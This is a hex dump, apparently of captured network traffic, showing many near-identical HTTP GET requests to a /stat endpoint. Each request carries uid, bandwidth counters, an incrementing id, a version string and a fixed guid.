0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38333026 66656174 75726573   0140830&features
0x00000060 (00096)   3d333026 67756964 3d353666 38343966   =30&guid=56f849f
0x00000070 (00112)   652d3630 65332d34 3165352d 38386339   e-60e3-41e5-88c9
0x00000080 (00128)   2d643565 38373061 61313063 3926636f   -d5e870aa10c9&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 33302670   mment=20140830&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30303742 30433026 73746174 70617373   007B0C0&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38333026 66656174 75726573   0140830&features
0x00000060 (00096)   3d333026 67756964 3d353666 38343966   =30&guid=56f849f
0x00000070 (00112)   652d3630 65332d34 3165352d 38386339   e-60e3-41e5-88c9
0x00000080 (00128)   2d643565 38373061 61313063 3926636f   -d5e870aa10c9&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 33302670   mment=20140830&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30303743 34393626 73746174 70617373   007C496&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38333026 66656174 75726573   0140830&features
0x00000060 (00096)   3d333026 67756964 3d353666 38343966   =30&guid=56f849f
0x00000070 (00112)   652d3630 65332d34 3165352d 38386339   e-60e3-41e5-88c9
0x00000080 (00128)   2d643565 38373061 61313063 3926636f   -d5e870aa10c9&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 33302670   mment=20140830&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30303744 38344426 73746174 70617373   007D84D&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38333026 66656174 75726573   0140830&features
0x00000060 (00096)   3d333026 67756964 3d353666 38343966   =30&guid=56f849f
0x00000070 (00112)   652d3630 65332d34 3165352d 38386339   e-60e3-41e5-88c9
0x00000080 (00128)   2d643565 38373061 61313063 3926636f   -d5e870aa10c9&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 33302670   mment=20140830&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30303745 43323326 73746174 70617373   007EC23&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38333026 66656174 75726573   0140830&features
0x00000060 (00096)   3d333026 67756964 3d353666 38343966   =30&guid=56f849f
0x00000070 (00112)   652d3630 65332d34 3165352d 38386339   e-60e3-41e5-88c9
0x00000080 (00128)   2d643565 38373061 61313063 3926636f   -d5e870aa10c9&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 33302670   mment=20140830&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30303746 46463926 73746174 70617373   007FFF9&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38333026 66656174 75726573   0140830&features
0x00000060 (00096)   3d333026 67756964 3d353666 38343966   =30&guid=56f849f
0x00000070 (00112)   652d3630 65332d34 3165352d 38386339   e-60e3-41e5-88c9
0x00000080 (00128)   2d643565 38373061 61313063 3926636f   -d5e870aa10c9&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 33302670   mment=20140830&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30303831 33434626 73746174 70617373   00813CF&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38333026 66656174 75726573   0140830&features
0x00000060 (00096)   3d333026 67756964 3d353666 38343966   =30&guid=56f849f
0x00000070 (00112)   652d3630 65332d34 3165352d 38386339   e-60e3-41e5-88c9
0x00000080 (00128)   2d643565 38373061 61313063 3926636f   -d5e870aa10c9&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 33302670   mment=20140830&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30303832 37413526 73746174 70617373   00827A5&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38333026 66656174 75726573   0140830&features
0x00000060 (00096)   3d333026 67756964 3d353666 38343966   =30&guid=56f849f
0x00000070 (00112)   652d3630 65332d34 3165352d 38386339   e-60e3-41e5-88c9
0x00000080 (00128)   2d643565 38373061 61313063 3926636f   -d5e870aa10c9&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 33302670   mment=20140830&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30303833 42364326 73746174 70617373   0083B6C&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38333026 66656174 75726573   0140830&features
0x00000060 (00096)   3d333026 67756964 3d353666 38343966   =30&guid=56f849f
0x00000070 (00112)   652d3630 65332d34 3165352d 38386339   e-60e3-41e5-88c9
0x00000080 (00128)   2d643565 38373061 61313063 3926636f   -d5e870aa10c9&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 33302670   mment=20140830&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30303834 46353126 73746174 70617373   0084F51&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38333026 66656174 75726573   0140830&features
0x00000060 (00096)   3d333026 67756964 3d353666 38343966   =30&guid=56f849f
0x00000070 (00112)   652d3630 65332d34 3165352d 38386339   e-60e3-41e5-88c9
0x00000080 (00128)   2d643565 38373061 61313063 3926636f   -d5e870aa10c9&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 33302670   mment=20140830&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30303836 33313826 73746174 70617373   0086318&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38333026 66656174 75726573   0140830&features
0x00000060 (00096)   3d333026 67756964 3d353666 38343966   =30&guid=56f849f
0x00000070 (00112)   652d3630 65332d34 3165352d 38386339   e-60e3-41e5-88c9
0x00000080 (00128)   2d643565 38373061 61313063 3926636f   -d5e870aa10c9&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 33302670   mment=20140830&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30303837 36454526 73746174 70617373   00876EE&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38333026 66656174 75726573   0140830&features
0x00000060 (00096)   3d333026 67756964 3d353666 38343966   =30&guid=56f849f
0x00000070 (00112)   652d3630 65332d34 3165352d 38386339   e-60e3-41e5-88c9
0x00000080 (00128)   2d643565 38373061 61313063 3926636f   -d5e870aa10c9&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 33302670   mment=20140830&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30303838 41423426 73746174 70617373   0088AB4&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38333026 66656174 75726573   0140830&features
0x00000060 (00096)   3d333026 67756964 3d353666 38343966   =30&guid=56f849f
0x00000070 (00112)   652d3630 65332d34 3165352d 38386339   e-60e3-41e5-88c9
0x00000080 (00128)   2d643565 38373061 61313063 3926636f   -d5e870aa10c9&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 33302670   mment=20140830&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30303839 45384226 73746174 70617373   0089E8B&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38333026 66656174 75726573   0140830&features
0x00000060 (00096)   3d333026 67756964 3d353666 38343966   =30&guid=56f849f
0x00000070 (00112)   652d3630 65332d34 3165352d 38386339   e-60e3-41e5-88c9
0x00000080 (00128)   2d643565 38373061 61313063 3926636f   -d5e870aa10c9&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 33302670   mment=20140830&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30303842 32363126 73746174 70617373   008B261&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38333026 66656174 75726573   0140830&features
0x00000060 (00096)   3d333026 67756964 3d353666 38343966   =30&guid=56f849f
0x00000070 (00112)   652d3630 65332d34 3165352d 38386339   e-60e3-41e5-88c9
0x00000080 (00128)   2d643565 38373061 61313063 3926636f   -d5e870aa10c9&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 33302670   mment=20140830&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30303843 36323726 73746174 70617373   008C627&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38333026 66656174 75726573   0140830&features
0x00000060 (00096)   3d333026 67756964 3d353666 38343966   =30&guid=56f849f
0x00000070 (00112)   652d3630 65332d34 3165352d 38386339   e-60e3-41e5-88c9
0x00000080 (00128)   2d643565 38373061 61313063 3926636f   -d5e870aa10c9&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 33302670   mment=20140830&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30303844 39454526 73746174 70617373   008D9EE&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38333026 66656174 75726573   0140830&features
0x00000060 (00096)   3d333026 67756964 3d353666 38343966   =30&guid=56f849f
0x00000070 (00112)   652d3630 65332d34 3165352d 38386339   e-60e3-41e5-88c9
0x00000080 (00128)   2d643565 38373061 61313063 3926636f   -d5e870aa10c9&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 33302670   mment=20140830&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30303845 44433426 73746174 70617373   008EDC4&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38333026 66656174 75726573   0140830&features
0x00000060 (00096)   3d333026 67756964 3d353666 38343966   =30&guid=56f849f
0x00000070 (00112)   652d3630 65332d34 3165352d 38386339   e-60e3-41e5-88c9
0x00000080 (00128)   2d643565 38373061 61313063 3926636f   -d5e870aa10c9&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 33302670   mment=20140830&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30303930 31384126 73746174 70617373   009018A&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38333026 66656174 75726573   0140830&features
0x00000060 (00096)   3d333026 67756964 3d353666 38343966   =30&guid=56f849f
0x00000070 (00112)   652d3630 65332d34 3165352d 38386339   e-60e3-41e5-88c9
0x00000080 (00128)   2d643565 38373061 61313063 3926636f   -d5e870aa10c9&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 33302670   mment=20140830&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30303931 35343126 73746174 70617373   0091541&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38333026 66656174 75726573   0140830&features
0x00000060 (00096)   3d333026 67756964 3d353666 38343966   =30&guid=56f849f
0x00000070 (00112)   652d3630 65332d34 3165352d 38386339   e-60e3-41e5-88c9
0x00000080 (00128)   2d643565 38373061 61313063 3926636f   -d5e870aa10c9&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 33302670   mment=20140830&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30303932 39333726 73746174 70617373   0092937&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38333026 66656174 75726573   0140830&features
0x00000060 (00096)   3d333026 67756964 3d353666 38343966   =30&guid=56f849f
0x00000070 (00112)   652d3630 65332d34 3165352d 38386339   e-60e3-41e5-88c9
0x00000080 (00128)   2d643565 38373061 61313063 3926636f   -d5e870aa10c9&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 33302670   mment=20140830&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30303933 43464426 73746174 70617373   0093CFD&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38333026 66656174 75726573   0140830&features
0x00000060 (00096)   3d333026 67756964 3d353666 38343966   =30&guid=56f849f
0x00000070 (00112)   652d3630 65332d34 3165352d 38386339   e-60e3-41e5-88c9
0x00000080 (00128)   2d643565 38373061 61313063 3926636f   -d5e870aa10c9&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 33302670   mment=20140830&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30303935 30443326 73746174 70617373   00950D3&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38333026 66656174 75726573   0140830&features
0x00000060 (00096)   3d333026 67756964 3d353666 38343966   =30&guid=56f849f
0x00000070 (00112)   652d3630 65332d34 3165352d 38386339   e-60e3-41e5-88c9
0x00000080 (00128)   2d643565 38373061 61313063 3926636f   -d5e870aa10c9&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 33302670   mment=20140830&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30303936 34423926 73746174 70617373   00964B9&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38333026 66656174 75726573   0140830&features
0x00000060 (00096)   3d333026 67756964 3d353666 38343966   =30&guid=56f849f
0x00000070 (00112)   652d3630 65332d34 3165352d 38386339   e-60e3-41e5-88c9
0x00000080 (00128)   2d643565 38373061 61313063 3926636f   -d5e870aa10c9&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 33302670   mment=20140830&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30303937 38414526 73746174 70617373   00978AE&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38333026 66656174 75726573   0140830&features
0x00000060 (00096)   3d333026 67756964 3d353666 38343966   =30&guid=56f849f
0x00000070 (00112)   652d3630 65332d34 3165352d 38386339   e-60e3-41e5-88c9
0x00000080 (00128)   2d643565 38373061 61313063 3926636f   -d5e870aa10c9&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 33302670   mment=20140830&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30303938 43383426 73746174 70617373   0098C84&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38333026 66656174 75726573   0140830&features
0x00000060 (00096)   3d333026 67756964 3d353666 38343966   =30&guid=56f849f
0x00000070 (00112)   652d3630 65332d34 3165352d 38386339   e-60e3-41e5-88c9
0x00000080 (00128)   2d643565 38373061 61313063 3926636f   -d5e870aa10c9&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 33302670   mment=20140830&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30303941 32323026 73746174 70617373   009A220&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38333026 66656174 75726573   0140830&features
0x00000060 (00096)   3d333026 67756964 3d353666 38343966   =30&guid=56f849f
0x00000070 (00112)   652d3630 65332d34 3165352d 38386339   e-60e3-41e5-88c9
0x00000080 (00128)   2d643565 38373061 61313063 3926636f   -d5e870aa10c9&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 33302670   mment=20140830&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30303942 35443726 73746174 70617373   009B5D7&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38333026 66656174 75726573   0140830&features
0x00000060 (00096)   3d333026 67756964 3d353666 38343966   =30&guid=56f849f
0x00000070 (00112)   652d3630 65332d34 3165352d 38386339   e-60e3-41e5-88c9
0x00000080 (00128)   2d643565 38373061 61313063 3926636f   -d5e870aa10c9&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 33302670   mment=20140830&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30303943 39384426 73746174 70617373   009C98D&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38333026 66656174 75726573   0140830&features
0x00000060 (00096)   3d333026 67756964 3d353666 38343966   =30&guid=56f849f
0x00000070 (00112)   652d3630 65332d34 3165352d 38386339   e-60e3-41e5-88c9
0x00000080 (00128)   2d643565 38373061 61313063 3926636f   -d5e870aa10c9&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 33302670   mment=20140830&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30303944 44323526 73746174 70617373   009DD25&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38333026 66656174 75726573   0140830&features
0x00000060 (00096)   3d333026 67756964 3d353666 38343966   =30&guid=56f849f
0x00000070 (00112)   652d3630 65332d34 3165352d 38386339   e-60e3-41e5-88c9
0x00000080 (00128)   2d643565 38373061 61313063 3926636f   -d5e870aa10c9&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 33302670   mment=20140830&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30303946 30424426 73746174 70617373   009F0BD&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38333026 66656174 75726573   0140830&features
0x00000060 (00096)   3d333026 67756964 3d353666 38343966   =30&guid=56f849f
0x00000070 (00112)   652d3630 65332d34 3165352d 38386339   e-60e3-41e5-88c9
0x00000080 (00128)   2d643565 38373061 61313063 3926636f   -d5e870aa10c9&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 33302670   mment=20140830&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30304130 34423226 73746174 70617373   00A04B2&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38333026 66656174 75726573   0140830&features
0x00000060 (00096)   3d333026 67756964 3d353666 38343966   =30&guid=56f849f
0x00000070 (00112)   652d3630 65332d34 3165352d 38386339   e-60e3-41e5-88c9
0x00000080 (00128)   2d643565 38373061 61313063 3926636f   -d5e870aa10c9&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 33302670   mment=20140830&p
